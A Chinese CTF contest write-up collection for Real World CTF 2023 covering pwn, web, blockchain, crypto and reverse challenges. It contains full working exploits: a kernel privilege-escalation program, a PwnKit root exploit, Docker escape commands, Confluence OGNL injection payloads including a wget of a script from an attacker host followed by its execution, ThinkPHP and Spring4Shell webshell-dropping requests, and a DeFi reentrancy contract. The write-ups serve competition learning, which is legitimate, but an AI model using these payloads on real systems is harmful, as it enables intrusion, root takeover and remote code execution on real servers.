别忘了
星标我!
1月7日-8日,24小时
第五届 Real World CTF 体验赛落下帷幕
来自企业、高校和长亭合作伙伴的239支战队
1000+人集结体验赛
192次签到题解出,
15次一血,
有效flag提交851次
最终,由来自北京邮电大学的天枢Dubhe战队以2268的总分、解出14题获得第一名,而去年的冠军团队,来自众多高校联合(南京大学,南京邮电、东南大学、中国矿业大学等)的SU战队以2187的总分获得第二名,由来自西安电子科技大学的L-team战队以总分2166名列第三名。
以下为本次体验赛所有题目的Writeup。
Pwn
Digging into Kernel 3
题目在5.19.0版本的Linux Kernel上运行了一个有漏洞的驱动,驱动代码比较简单,包括uaf,race condition,memory leak等多个漏洞。通过漏洞驱动获取root权限有很多种方法,这里贴出作者old-school的exploit代码(并非最简单的方法,甚至相对复杂,使用USMA/DirtyCred等手段可以写出更简洁更稳定的exploit)
`#define _GNU_SOURCE``#include <sched.h>``#include <stdio.h>``#include <stdlib.h>``#include <string.h>``#include <unistd.h>``#include <ctype.h>``#include <err.h>``#include <sys/types.h>``#include <sys/stat.h>``#include <fcntl.h>``#include <sys/timerfd.h>``#include <sys/ioctl.h>``#include <sys/syscall.h>``#include <linux/keyctl.h>`` ``// user_key_payload``#define size_user_key_payload (24)``// (gdb) ptype /o struct user_key_payload``// /* offset | size */ type = struct user_key_payload {``// /* 0 | 16 */ struct callback_head {``// /* 0 | 8 */ struct callback_head *next;``// /* 8 | 8 */ void (*func)(struct callback_head *);``//` `// /* total size (bytes): 16 */``// } rcu;``// /* 16 | 2 */ unsigned short datalen;``// /* XXX 6-byte hole */``// /* 24 | 0 */ char data[];``//` `// /* total size (bytes): 24 */``// }`` ``int key_alloc(char *description, char *payload, int payload_len) {` `return syscall(` `__NR_add_key,` `"user",` `description,` `payload,` `payload_len,` `KEY_SPEC_PROCESS_KEYRING` `);``}`` ``void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) {` `char *tmp_desc = (char *)malloc(description_len + 100);` `memset(tmp_desc, 0, description_len + 100);` `memcpy(tmp_desc, description, description_len);` `for(int i = 0; i < spray_count; i++) {` `snprintf(tmp_desc + description_len, 100, "_%d", i);` `keys[i] = key_alloc(tmp_desc, payload, payload_len);` `if(keys[i] == -1) {` `perror("add_key");` `printf("failed index: %d\n", i);` `// break;` `exit(-1);` `}` `}` `free(tmp_desc);``}`` ``int key_revoke(int key_id) {` `return syscall(` `__NR_keyctl,` `KEYCTL_REVOKE,` `key_id,` `0,` `0,` `0` `);``}`` ``int key_free(int key_id) {` `return syscall(` `__NR_keyctl,` `KEYCTL_UNLINK,` `key_id,` `KEY_SPEC_PROCESS_KEYRING` `);``}`` `` ``int key_read(int key_id, char *retbuf, int retbuf_len) {` `return syscall(` `__NR_keyctl,` `KEYCTL_READ,` `key_id,` `retbuf,` `retbuf_len` `);``}``// user_key_payload`` `` `` `` ``// utils``void breakpoint() {` `printf("press enter to continue...\n");` `getchar();``}`` ``#ifndef HEXDUMP_COLS``#define HEXDUMP_COLS 16``#endif`` ``void hexdump(void *mem, unsigned int len) {` `putchar('\n');` `for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {` `/* print offset */` `if(i % HEXDUMP_COLS == 0) {` `printf("0x%06x: ", i);` `}`` ` `/* print hex data */` `if(i < len) {` `printf("%02x ", 0xFF & ((char*)mem)[i]);` `}` `/* end of block, just aligning for ASCII dump */` `else {`` printf(" ");` `}`` ` `/* print ASCII dump */` `if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {` `for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {` `/* end of block, not really printing */` `if(j >= len) {` `putchar(' ');` `}` `/* printable char */` `else if(isprint(((char*)mem)[j])) {` `putchar(0xFF & ((char*)mem)[j]);` `}` `/* other char */` `else {` `putchar('.');` `}` `}` `putchar('\n');` `}` `}` `putchar('\n');``}``// utils`` ``// here we start``struct add_param {` `int idx;` `int size;` `char *cont;``};`` ``int g_fd;``int seq_fd;``unsigned long long g_vmlinux = 0;``unsigned long long g_modprobe_path = 0;``unsigned long long g_do_task_dead = 0;``unsigned long long g_heap = 0;`` ``unsigned long long pop_rax_ret = 0;``unsigned long long pop_rcx_ret = 0;``unsigned long long pop_rdi_ret = 0;``unsigned long long mov_ptr_rax_rdi_ret = 0;``unsigned long long ret = 0;`` `` ``void setup() {` `g_fd = open("/dev/rwctf", O_RDWR);` `printf("g_fd = %d\n", g_fd);`` ` `system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");` `system("chmod +x /tmp/x");`` ` `system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");` `system("chmod +x /tmp/dummy");`` ` `if(fork()) {` `sleep(3);` `system("/tmp/dummy 2>/dev/null");` `system("ls -l /flag");` `system("cat /flag");` `exit(1);` `}``}`` ``void add(int idx, int size, char* cont) {` `struct add_param arg = {` `.idx = idx,` `.size = size,` `.cont = cont,` `};`` ` `ioctl(g_fd, 0xdeadbeef, &arg); // no error check``}`` ``void delete(int idx) {` `ioctl(g_fd, 0xc0decafe, &idx); // no error check``}`` ``void leak() {` `int OBJ_SIZE = 0x100;` `char *cont = malloc(OBJ_SIZE);`` memset(cont, 'x', OBJ_SIZE);`` ` `add(0, OBJ_SIZE, cont);` `delete(0); // first free`` ` `int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload;` `int SPARY_USER_KEY_CNT = 50;` `int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int));` `char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE);` `memset(user_key_payload, 'y', SPRAY_USER_KEY_SIZE);` `key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, "spray_key", strlen("spray_key"));`` ` `delete(0); // double free`` ` `*(unsigned long long *)&cont[0x0] = 0;` `*(unsigned long long *)&cont[0x8] = 0;` `*(unsigned long long *)&cont[0x10] = 0x2000; // user_key size` `for(int i = 0; i < 100; i++) {` `add(1, OBJ_SIZE, cont);` `}`` ` `char *recv_payload = malloc(0x2000);` `int anchor = 0;` `for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {` `memset(recv_payload, 0, 0x2000);` `int retval = key_read(keys[i], recv_payload, 0x2000);` `// printf("retval = %d\n", retval);` `if(retval > SPRAY_USER_KEY_SIZE) {` `printf("find anchor %d\n", anchor);` `printf("we leaked something...\n");` `anchor = i;` `break;` `}` `}`` ` `if(anchor == 0) {` `err(-1, "bad luck, try again!\n");` `}`` ` `for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {` `if(i != anchor) {` `key_revoke(keys[i]);` `}` `}`` ` `memset(recv_payload, 0, 0x2000);` `int retval = key_read(keys[anchor], recv_payload, 0x2000);` `// printf("retval = %d\n", retval);` `if(retval > SPRAY_USER_KEY_SIZE) {` `// hexdump(recv_payload, 0x200);` `unsigned long long heap = *(unsigned long long *)&recv_payload[0xe8];` `unsigned long long _user_free_payload_rcu = *(unsigned long long *)&recv_payload[0xf0];` `unsigned long long needle = *(unsigned long long *)&recv_payload[0x100];` `if(needle == 0x7979797979797979 && heap && _user_free_payload_rcu) {` `printf("leaked heap @ 0x%llx\n", heap);` `printf("leaked user_free_payload_rcu @ 0x%llx\n", _user_free_payload_rcu);` `g_vmlinux = _user_free_payload_rcu - 0x339d8210;` `printf("vmlinux @ 0x%llx\n", g_vmlinux);` `g_modprobe_path = g_vmlinux + 0x34e510a0;` `// printf("modprobe_path @ 0x%llx\n", g_modprobe_path);` `g_do_task_dead = g_vmlinux + 0x336a3190;` `pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret` `pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret` `pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret` `mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret` `ret = g_vmlinux + 0x33600341; // ret` `}` `}`` ` `sleep(1); // free user_key` `for(int i = 0; i < 100; i++) {` `close(keys[i]);` `}`` ` `// // place gadgets` `// memset(cont, '!', OBJ_SIZE);` `// for(int i = 0; i < 100; i++) {` `// add(1, OBJ_SIZE, cont);` `// }``}`` ``void hijack() {` `int OBJ_SIZE = 0x20; //` `char *cont = malloc(OBJ_SIZE);`` memset(cont, 'z', OBJ_SIZE);`` ` `add(0, OBJ_SIZE, cont);` `delete(0); // first free`` ` `seq_fd = open("/proc/self/stat", O_RDONLY);` `delete(0); // second free`` `` ` `unsigned char fake_seq_operations[OBJ_SIZE];` `memset(fake_seq_operations, '0', OBJ_SIZE);` `// *(unsigned long long *)&fake_seq_operations[0x00] = 0x1111111111111111;`` *(unsigned long long *)&fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160` `*(unsigned long long *)&fake_seq_operations[0x08] = ret;`` *(unsigned long long *)&fake_seq_operations[0x10] = ret; `` *(unsigned long long *)&fake_seq_operations[0x18] = pop_rax_ret;`` ` `for(int i = 0; i < 1; i++) {` `add(1, OBJ_SIZE, fake_seq_operations);` `}`` ` `__asm__(` `"mov r15, pop_rax_ret;"` `"mov r14, g_modprobe_path;"` `"mov r13, pop_rdi_ret;"` `"mov r12, 0x0000782f706d742f;" // /tmp/x\x00` `"mov rbp, mov_ptr_rax_rdi_ret;"` `"mov rbx, g_do_task_dead;"` `"mov r11, 0x77777777;"` `"mov r10, 0x88888888;"` `"mov r9, 0x99999999;"` `"mov r8, 0xaaaaaaaa;"` `"mov rcx, 0x666666;"` `"mov rdx, 8;"` `"mov rsi, rsp;"` `"mov rdi, seq_fd;"` `"xor rax, rax;"` `"syscall"` `);` `// read(seq_fd, fake_seq_operations, 1);`` `` ``}`` ``int main() {` `setup();` `leak();`` ` `// breakpoint();` `hijack();`` ` `// breakpoint();`` ` `return 0;``}`
Be-a-PK-LPE-Master
连接端口后,题目提示默认用户名为 user, 空口令登陆。
发现需要提权才能获取 flag ,从题目名称中可以猜测出我们需要利用 pkexec 的漏洞进行提权, 故尝试使用 CVE-2021-4034 进行提权。
exploit 参考:
`#include <stdio.h>``#include <stdlib.h>``#include <unistd.h>`` ``char *shell = `` "#include <stdio.h>\n"` `"#include <stdlib.h>\n"` `"#include <unistd.h>\n\n"` `"void gconv() {}\n"` `"void gconv_init() {\n"` `" setuid(0); setgid(0);\n"` `" seteuid(0); setegid(0);\n"` `" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"` `" exit(0);\n"` `"}";`` ``int main(int argc, char *argv[]) {` `FILE *fp;` `system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");` `system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");` `fp = fopen("pwnkit/pwnkit.c", "w");` `fprintf(fp, "%s", shell);` `fclose(fp);` `system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");` `char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };` `execve("/usr/bin/pkexec", (char*[]){NULL}, env);``}`
这里还有一个小故事, 新版的 Kernel 会处理 execve 的 argv[0] 是 NULL 的情况,因此 pkexec 这个漏洞在较新版本 Kernel 是不能用的 。 具体情况可以参考:
Handling argc==0 in the kernel [LWN.net] (https://lwn.net/Articles/882799/)
Be-a-Docker-Escaper-2
通过 ssh 获取题目 shell 后,可以发现是在容器环境中。仔细看根目录可以看到容器环境将 HOST 的 /proc/sys/fs/binfmt_misc/ 目录映射到了容器的 /binfmt_misc。
通过了解资料知道 Linux 内核有一个名为Miscellaneous Binary Forma(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件
其 binfmt 的格式如下:
`name:type:offset:magic:mask:interpreter:flags`
这个配置中每个字段都用冒号 : 分割,某些字段拥有默认值可以跳过,但是必须保留相应的冒号分割符。
各个字段的意义如下:
name:规则名
type:表示如何匹配被打开的文件,值为 E 或 M 。E 表示根据扩展名识别,而 M 表示根据文件特定位置的 Magic Bytes来识别
offset:type字段设置成 M 之后有效,表示查找 Magic Bytes的偏移,默认为0
magic:表示要匹配的 Magic Bytes,type 字段为 M 时,表示文件的扩展名,扩展名是大小写敏感的,不需要包含 .。type字段为 E 时,表示 Magic Bytes,其中不可见字符可以通过 \xff 的方式来输出
mask:type字段设置成 M 之后有效,长度与 Magic Bytes 的长度一致。如果某一位为1,表 magic 对应的位匹配,为0则忽略。默认为全部匹配
interpreter:启动文件的程序,需要是绝对路径
flags: 可选字段,控制 interpreter 打开文件的行为,共支持 POCF 四种flag
因此我们可以注册一个自己的 binfmt, 然后让其 HOST 执行相应的文件,就可以完成逃逸。关键是如何在 HOST 执行相应的文件。观察出题人给的条件, 出题人给了 ssh 登陆的途径。
我们通过 strace sshd 进程 ,会发现 sshd 服务当有 ssh 尝试连接的时候会执行一些 bash 脚本,例如 etc/update-motd.d/00-header
至此打通了逃逸的路径
完整利用过程:
1、首先注册一个自己的 binfmt
echo ":test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/$overlay/diff/tmp/exploit:" > /binfmt_misc/register
例如上一条语句,即为注册一个名 test, magic 为 #!/bin/sh , interpreter位于 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 的 binfmt ,其中 $overlay2 我们可以在 docker 中使用 mount 命令来获取
2、往 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 写入我们要执行的命令
`echo '#!/bin/bash' > /tmp/exploit``echo "docker cp /root/flag $container:/tmp/" >> /tmp/exploit``chmod 777 /tmp/exploit`
3、最后再使用 ssh 登陆一次即可获取 flag
Be-a-Docker-Escaper-3
首先查看内核版本 ,可以发现是一个比较旧的内核版本
再结合题目描述和名字,可以知道这题应该需要使用 CVE-2016-5195 也就是著名的DirtyCOW 漏洞来进行容器逃逸。
想要使用 DirtyCOW 进行容器逃逸,需要使用 DirtyCOW-vDSO 的利用方式,也就是通过 DirtyCOW 覆盖 vDSO 数据来实现对容器的逃逸。但是现有最著名的 vDSO 逃逸利用https://github.com/scumjr/dirtycow-vdso存在以下两个问题:
该利用使用 ptrace 方式来实现对 vDSO 内存的修改触发 COW,但是新版本 docker 默认禁止 ptrace。
该利用对 vDSO 的 patch 选择的位置在 ubuntu 的内核里触发不了,需要换一个 patch 点。
本着不能只有自己被坑的原则,出了这题。
需要将原来的ptrace利用方式换回 /proc/self/mem 利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考
https://github.com/zh-explorer/dirtycow.git。
利用流程如下:
`pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyelftools``git clone https://github.com/zh-explorer/dirtycow.git``cd dirtycow``mkdir build``cd build``cmake ..``make``./dirtycow {IP} 31337`
Be-a-BUS-Driver
题目中运行了一个 D-Bus 服务, 通过 busctl --system --list 命令可以列出当前注册的 system D-Bus 服务, 其中有一个叫 ezbus 的尤其可疑。
通过 busctl introspect org.dbus.rwctf /org/dbus/rwctf 命令可以列出其实现的方法名, 例如可以看到其实现了一个名为 SayBoss 的方法,接受字符串参数。
打开 IDA 进行逆向, 找到 SayBoss 方法
发现 count 变量计算了调用该函数的次数,如果大于 0xA ,即可执行命令。
因此我们只需调用往 /tmp/exp.sh 写入我们要执行的命令, 然后使用下面这句命令调用超过 10 次即可。
busctl --system call org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1 SayBoss s "/tmp/exp.sh"
Web
Be-a-Wiki-Hacker
根据页面上显示的版本 7.13.6,搜索 Confluence 历史漏洞,可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的,执行 id 命令的利用验证poc:
`GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1``Host: example.com:8080``Accept-Encoding: gzip, deflate``Accept: */*``Accept-Language: en``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36``Connection: close`
url 路径部分就是 ognl 表达式 url 编码后的内容,所以执行的表达式其实就是:
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
如果要拿服务器 shell 权限,可以反弹 shell,这里注意 Java 里 Runtime 直接传递字符串执行 exec 的话,命令里不支持 shell 语法特性(比如管道符、重定向等),以及这里由于 tomcat 处理 url 的安全特性,url 里不能出现编码后的斜线,所以可以执行最简单的,wget 从远程拉一个脚本下来然后执行,分三次执行:
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("wget script.attacker.com").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("chmod +x index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("bash index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
Evil MySQL Server
这题考查的是 mysql 连接到恶意服务器时,恶意服务端可以读取 mysql 客户端本地文件的特性利用。如果不了解这个安全问题的选手,也可以根据题目提示“Evil MySQL Server”进行 Google 查询,能找到相关的安全资料。本题在体验赛赛题讲解视频里也有更为详细的讲解,这里简单说下怎么做。
可以直接借助工具 MySQL Fake Server:https://github.com/fnmsd/MySQL\_Fake\_Server
用它在你自己的公网 vps 服务器上启动一个恶意的 mysql server,比如地址是 1.1.1.1,端口3306,然后打开题目,在表单里填上对应的服务器地址,用户名处填 fileread_/flag,提交。mysql fake server 就会收到请求,并读到 /flag 文件内容。
ApacheCommandText
由于 apache common text 在默认配置下会对数据进行递归解析。这道题对一些常见利用的字符串进行了过滤,但没有过滤base64decoder,因此我们可以使用base64decoder以及递归特性进行漏洞利用。
POC
${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}
Be-a-Langurage-Expert
这题考察的是 Thinkphp 多语言功能导致的任意文件包含,这个漏洞的影响范围如下
* ThinkPHP v6.0.1 <= v6.0. x <= v6.0.13
* ThinkPHP v5.1.x
* ThinkPHP v5.0.x
具体的漏洞分析可以参考:
http://tttang.com/archive/1865/
所以进入题目便可以看到,当前的 ThinkPHP 版本为 6.0.12 正好位于漏洞版本范围内,所以我们便可以进行任意文件包含。结合题目描述里面给出的信息,整个 ThinkPHP 是使用Docker进行部署的,所以我们可以使用: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html 这个技巧, 利用 PearCMD 来最终实现RCE。
首先我们发送第一个包,用来创建一个 Webshell 在 /tmp/1.php:
`GET /?+config-create+/&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[a]);?>+/tmp/1.php HTTP/1.1``Host: localhost:8888``Accept-Encoding: gzip, deflate``Accept: */*``Accept-Language: en-US;q=0.9,en;q=0.8``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36``Connection: close``Cache-Control: max-age=0`` `
此时在 /tmp/1.php 中的内容就是 。我们之后只需要使用Webshell 管理工具连接如下地址即可。
http://your-ip:8888/?&lang=../../../../../../../../../../../tmp/1
最后执行 /readflag 获取 Flag
Yummy Api
这题考察的是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE,获取 Flag。
使用 Mongodb 注入拿到用户项目的 Token ,这一步需要爆破。
在默认情况下利用这个使用 aes192 加密 token,这样我们可以调用项目的任意功能,。
然后通过调用项目的 pre-script 功能,上传 vm2 的逃逸脚本实现 RCE。
具体的漏洞分析文章可以参考:
https://www.anquanke.com/post/id/283779
当然也可以找到一键利用的脚本:
使用这个脚本我们只需要执行,即可拿到 Flag
py -3 .\poc.py --debug one4all -u http://ip:9090/ -c "/readflag"
Spring4Shell
该题主要结合 git 泄漏与2022年 top2 漏洞—— Spring4shell 相关背景。
解题思路一:
可以发现 .git 泄漏配置文件,导致 web 路径泄漏。
可使用工具:
https://github.com/gakki429/Git\_Extract.git
$ python git_extract.py http://47.98.216.107:31584/.git/
查看 web 路径:
`$ cat 47.98.216.107_31584/server.xml|grep appBase``<Host name="XXXX" appBase="chaitin"`
Spring4shell EXP:
可使用:https://github.com/reznok/Spring4Shell-POC.需要手动指定 web 路径
python exploit.py --url http://47.98.216.107:31584/ --dir chaitin/ROOT
解题思路二:
修改 appBase,不需要获取 web 路径,此 payload 不常见,github 上检索不到。
payload:class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.appBase=/
webshell 写入路径:/tmp/shell.jsp
访问 webshell:
http://47.98.216.107:31584/tmp/shell.jsp?cmd=id
读取 flag
Misc
Long Range
通过题目描述 Long Range与频段 500.5Mhz (属于 LoRa 在中国常用的CN470-510频段) 结合猜测信号中是一段 LoRa 信号。 使用 SDRSharp 或其他工具加载 wav 文件,可以发现信号也比较符合 LoRa 的特征,进一步印证猜测并分析出所使用的带宽为125kHz。
使用 GNU Radio 的 OOT 模块 gr-lora,调整 SF 扩频因子, 在8时可以解出 flag。
Be-a-Famicom-Hacker
使用模拟器打开游戏,可以发现界面的 komani 1988被修改为了 RWCTF 2023,知晓 ROM 被修改。
最硬核的解题方式是通过 ROM 大小知道是日版的魂斗罗,然后下载原版 ROM diff 修改内容,然后逆向 ROM 代码,但游戏类题目一般只要探索过所有场景即可获得 flag。
通过搜索可以知道,魂斗罗存在一个隐藏彩蛋:在过关的结尾动画(包括滚动名单)期间,全程按住 Select+Start 键,即可见到一段隐藏的彩蛋,flag 就放在隐藏彩蛋中。
关于快速通关,
选关:按下 START 后,在游戏画面变黑之前,同时按下 ←+↑+A+START,就可以进入选关菜单。
作弊:
1.自带的经典作弊码,在标题画面BGM出现后按 上上下下左右左右BA 就会有30条命。
2.模拟器打开 CPU view,进入关卡,其中 0x32 位置为 1P 的生命数,0xB0 位置为1P无敌状态的剩余时间,可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关。
BlockChain
HappyFactory
本题考点为 Defi 项目的核心逻辑中,闪电贷功能易出现的重入漏洞。
解题思路1:
在调用 swap 合约闪电贷之前,调用 Token 的 Burn 接口。Burn 接口无 onlyOwner 限制,可直接调用。
Burn 掉 Pair 的部分 balance,然后调用 sync 函数调平。调平后的pair可swap出巨量Token。
解题思路2:
在调用 swap 合约的闪电贷功能时,重入未加 lock 限制的 sync 函数。在计算 K 值前,将 reserve 设为对自己有利的状态。
解题 Exploit 如下:
`pragma solidity ^0.8.0;``import "./Happy.sol";`` ``contract Exploit {` `event tokenA_tokenB(address, address);` `IHappyFactory factory =` `IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36));` `IHappyPair public pair;` `IHappyERC20 public tokenA;` `IHappyERC20 public tokenB;` `address public gamer;`` ` `constructor(address tokenA_address, address tokenB_address) {` `gamer = msg.sender;` `tokenA = IHappyERC20(tokenA_address);` `tokenB = IHappyERC20(tokenB_address);` `pair = IHappyPair(factory.getPair(tokenA_address, tokenB_address));` `}`` ` `function attack(uint256 amount0, uint256 amount1) public {` `pair.swap(amount0, amount1, address(this), "0x");` `tokenB.transfer(gamer, 1 ether);` `}`` ` `fallback() external {` `pair.sync();` `tokenA.transferFrom(gamer, address(pair), 1 ether);` `}``}`` `
Crypto
babyCurve
根据题目我们可以知道椭圆曲线为y² = x*(x+1)²
然后我们发现椭圆曲线的判别式为 0 根据参考链接给出的方法 我们采用换元法修改成和上述链接一样的形式。
这时候就可以利用同构求出密钥x,然后一切问题都迎刃而解
下面提供下 exp
`from Crypto.Util.number import *``from Crypto.Cipher import AES``p = 193387944202565886198256260591909756041``P.<x> = GF(p)[]``f = x^3 + 2*x^2 + x``P = (4, 10)``Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)``f_ = f.subs(x=x-1)``print f_.factor()`` ``P_ = (P[0] +1, P[1])``Q_ = (Q[0] +1, Q[1])`` ``t = GF(p)(p-1).square_root()``u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p``v = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % p``print(v.log(u))``k = v.log(u)``aes = AES.new(long_to_bytes(k).ljust(16, '\0'), AES.MODE_CBC, '\0'*16)``flag = "b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0".decode("hex")``print(len(flag))``plaintext = aes.decrypt(flag)``print(plaintext)`
Reverse
SNAKE
安装 apk 运行发现是个贪吃蛇游戏,随着控制蛇吃到的食物越多,蛇的速度越快。所以如果你足够强可以坚持到最后,把 flag 吃出来。
分析 apk,由于贪吃蛇和食物本身所用资源都是图片,于是在 drawable 目录中可找到这些图片文件,并且可以发现除普通食物图片外,还有 b0,b1 这些字母图片,容易猜测到这些便是 flag 的组成部分。
在 onDraw 方法中注意到如下部分
a和b方法分别控制屏幕绘制食物或是 flag,由 this.c 控制
注意到拼装b图片时用到了 this.f 数组,交叉引用后定位到
比较容易猜到是 brainfuck,但是有点小改动,不能直接在线解密,仔细分析的话可以发现是[]<>互换了一下,图方便可以 hook 拿到返回值
`function hook(){` `Java.perform(function(){` `var SecurityParams = Java.use("b.a.a.a");` `SecurityParams.a.implementation = function(str){` `var ret = this.a(str);` `console.log(ret);` `return ret;` `}` `});` `}``function main() {` `hook()``}`` ``setImmediate(main)`
数组中的元素即对应 drawable 目录中 flag 文件名,按顺序找出对应图片即可得到 flag,需要注意的是 this.v 在i函数中会先自增一次,所以 flag 从第1个元素开始取
Check-In
🐑了拼🐑
直接拼图就可以获取 flag
点分享
点收藏
点点赞
点在看